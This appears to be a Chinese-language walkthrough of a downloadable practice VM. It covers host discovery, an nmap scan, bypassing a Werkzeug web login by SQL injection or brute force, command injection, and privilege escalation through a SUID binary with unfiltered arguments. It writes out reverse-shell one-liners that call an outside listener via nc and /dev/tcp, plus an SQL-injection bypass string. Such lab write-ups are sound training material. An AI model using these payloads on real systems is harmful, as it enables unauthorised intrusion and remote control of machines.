靶机下载地址:靶机下载
主机发现
通过搭建的靶机环境,可以直接通过arp-scan -l 或者arping来发现主机,得到IP地址后进行信息搜集
信息搜集
通过nmap扫描得到靶机开放了22、8080端口,并且web服务是Werkzeug httpd 0.14.1 (Python 2.7.15rc1) 既然是web服务,通过浏览器打开看到说需要邀请码,可能是需要什么密码什么的
渗透攻击
这里可以有两种攻击手段,一种是SQL注入,可以使用" or 1=1 --+绕过,另外一种是暴力破解,我这里使用burpsuite暴力破解的方式,利用kali自带的字典就可以爆破出密码为password,进入之后看见这是个扫描文件的东西 通过返回的页面感觉是执行了命令 然后尝试用管道符执行命令,发现这里有个命令执行漏洞 通过上面的文件发现有netcat和python,这里可以使用nc和python反弹shell, 这里有几种常见反弹shell的payload:反弹payload 这里使用nc反弹,发现使用-e /bin/bash没有反弹成功,可能是因为版本问题,但是可以使用另外一种不需要-e参数的payloadrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f 这里还可以用bash来反弹echo 'bash -i >& /dev/tcp/10.0.2.15/4444 0>&1'|bash 因为有python环境,可以创建交互式shell python -c "import pty;pty.spawn('/bin/sh');" (还有一种很巧妙的方式,利用创建两个nc监听,然后利用管道符来执行/bin/bash) 查看app.py的文件,是关于这个web框架运行的代码,没有什么利用的地方,然后查看SQL文件,在靶机端没有sqlite3,所以需要通过nc把文件传到虚拟机上面打开,打开之后,发现有一些密码,然后通过查看/etc/passwd,得到一些用户名,尝试用hydra进行ssh爆破,但是未成功。 然后返回上一级目录,发现有一个.c文件,应该是源码,前面那个是编译好的可执行文件,并且有root执行权限 查看看源代码,发现执行命令需要两个参数,但是参数并没有进行任何过滤,应该可以通过system函数执行代码 因此,这里可以通过suid进行提权,尝试执行文件并带参数“-h | id”命令(参数-h是一般的说明参数,利用管道符执行id参数),发现可以进行提权成功 接着就可以利用nc反弹到kali上面,从而得到权限
|